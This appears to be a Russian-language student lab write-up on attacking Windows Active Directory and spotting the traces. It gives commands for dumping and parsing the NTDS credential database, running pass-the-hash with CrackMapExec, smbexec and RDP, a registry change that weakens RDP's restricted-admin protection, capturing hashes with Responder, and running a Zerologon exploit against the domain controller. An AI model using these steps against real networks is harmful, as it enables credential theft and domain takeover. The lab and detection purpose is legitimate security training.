1.1 Проведу анализ базы NTDS
Для начала сделаю бэкап NTDS при помощи команд:
ntdsutil
activate instance ntds
ifm
create full C:\temp
После зашел на сервер Win с Kali и скопировал файлы на Linux с помощью следующих команд:
Далее скачал impacket при помощи следующих команд:
git clone https://github.com/SecureAuthCorp/impacket
apt install python3-pip
cd impacket
pip install .

И выполнил следующую команду, чтобы проанализировать NDTS и посмотреть базу аутентификационых данных для объектов домена:
python3 secretsdump.py -ntds /home/kali/temp/Active\ Directory/ntds.dit -system /home/kali/temp/registry/SYSTEM LOCAL
1.2 Path-the-hash
Здесь показаны атаки вида PtH (через учетную запись и хэш её пароля)
Crackmapexec:
Это набор python-скриптов используется для быстрого сканирования сети и обнаружения остов, как либо взаимодействующих с протоколом smb. Обнаружить его довольно сложно.
smbexec:
утилита из impacket, позволяющая запустить cmd windows для удаленной передачи команд, при этом практически не оставляя следов.
XFreeRDP:
При помощи хэша можно зайти по RDP, но для этого на сервере должен быть включен доступ по нему.
Еще нам нужгоизменить политику restricted admin, т.к. она также блокирует доступ. Сделать это можно при помощи команды в PowerShell:
New-ItemProperty -Path “HKLM:\System\CurrentControlSet\control\Lsa” -Name “DisableRestrictedAdmin” -Value “0” -PropertyType DWORD -Force
И после этого можно будет спокойно зайти по RDP:
1.3 Атаки на базовые протоколы Windows
Для этого буду использовать responder.
Запущу анализ responder:
И про попытке на доменном пк подключиться к несуществующему ресурсу, получаю информацию о запросах:
Далее запущу responder в режиме атаки:
И тогда при попытке подключиться к несуществующему ресурсу у пользователя появится следующее окно (responder притворяется этим ресурсом и просит пользователя авторизоваться):
И после этого он перехватываетаудентификационный токен:

2. Эксплуатация уязвимостей контроллера домена
Для этого скачаем zerologon (git clone https://github.com/risksense/zerologon) и используем скрипт:
Он обнулит пароль машинной учетной записи контроллера домена, после чего можно будет спокойно сдампить NTDS с помощью secretsdump:
и при поиощи полученных хэшей можно спокойно выполнять команды от любого пользователя:

3. Поиск следов эксплуатации уязвимостей

Так мы можем увидеть в Security событие 4742, говорящее о том, что ANONYMOUS LOGON изменил пароль: